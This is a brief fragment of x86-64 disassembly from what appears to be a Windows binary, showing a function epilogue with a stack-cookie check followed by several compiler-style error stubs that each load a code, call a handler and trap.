sub r9d, dword [rsp + 0x34]
call fcn.140001060
xor eax, eax
mov rcx, qword [rsp + 0x6b0]
xor rcx, rsp
call fcn.1400c8a50
mov rbx, qword [rsp + 0x6d0]
add rsp, 0x6c0
pop rdi
ret
mov ecx, 0x48
call fcn.1400cd8e0
int3
mov ecx, 0x56
call fcn.1400cd8e0
int3
mov ecx, 0x5c
call fcn.1400cd8e0
int3
mov ecx, 0x27
call fcn.1400cd8e0
int3
mov ecx, 0x30
call fcn.1400cd8e0
int3